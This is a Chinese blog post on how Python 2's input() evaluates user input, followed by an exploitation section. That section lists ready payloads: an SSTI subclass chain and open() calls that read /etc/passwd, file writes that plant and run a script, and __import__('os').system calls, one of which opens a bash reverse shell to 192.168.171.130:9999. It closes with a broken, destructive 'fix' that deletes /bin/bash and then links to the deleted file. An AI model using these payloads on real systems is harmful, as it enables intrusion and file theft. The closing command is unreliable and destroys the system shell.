python-input()函数分析

使用python获取用户键盘输入的函数有input()raw_input(),其中raw_input()在python3中已经舍弃了。所以使用python3获取用户输入一般使用input()函数,在python3中input()默认把接收的数据当作str型处理,但在python2中,input()期待的输入是整型,如果需要接收字符串,需要手动用单引号包围。

演示代码:

import os,sys

def foo():
    print('foo')
    return 'foobar'

def bar(x,y):
    result = x + y
    return result

print(sys.version)
while 1:
    data = input('input:')
    print(type(data))
    print(data)

python3.x

python3.x所有输入默认当作str处理

python2.x

但在python2.x中,input()接收的数据会附带执行效果,效果类似eval(raw_input(prompt))

简单修改一下,加点小过滤测试一下:

发现输入foo()能调用foo()函数,尽管输入值与返回值都不存在整型,但能调用。

后续测试验证了input()接收的数据当用户按下回车后即开始运行了,所以无法先对输入进行过滤,感觉是个很危险的点。但网站搭建python估计也是用表单传递,相对而言是ssti注入(带回显)。input()如果是用作接收脚本指令的话,一般不带回显,直接按照输入执行。(一时也想不出好的运用场景)。

关于利用

贴上一条SSTI读文件的payload,亲测可用:

''.__class__.__mro__.__getitem__(2).__subclasses__()[40]('/etc/passwd').read()   # 任意文件读取

简单一点,任意文件读取:

open('/etc/passwd').read()   # 任意文件读取

写入文件并执行(无回显适用):

open('shell.py','a').write("import os\nos.system('whoami')")   # 文件写入,命令写入
execfile('shell.py')   # 调用脚本,python2内置函数

条件允许的话(脚本自身import os,subprocess这些能调用系统shell的库),使用ossubprocess库函数调用系统命令尝试建立反弹shell。由于无法找到合适的多行输入,所以很难构造合适的payload。
最后兜兜转转,发现可以使用下面的形式来自行导入外部库,执行shell:

__import__('os').system('whoami')   # 查询运行用户
__import__('os').system('bash -i >& /dev/tcp/192.168.171.130/9999 0>&1')    # 建立反弹shell,IP与端口自行修改,在靶机上开启nc -lvvp 9999监听

但测试中出现了bad fd number,根据谷歌的一劳永逸大法,在靶机执行:

rm -rf /bin/bash
ln -s /bin/bash /bin/sh

再次启动,测试反弹shell,成功建立连接。

发表评论

电子邮件地址不会被公开。 必填项已用*标注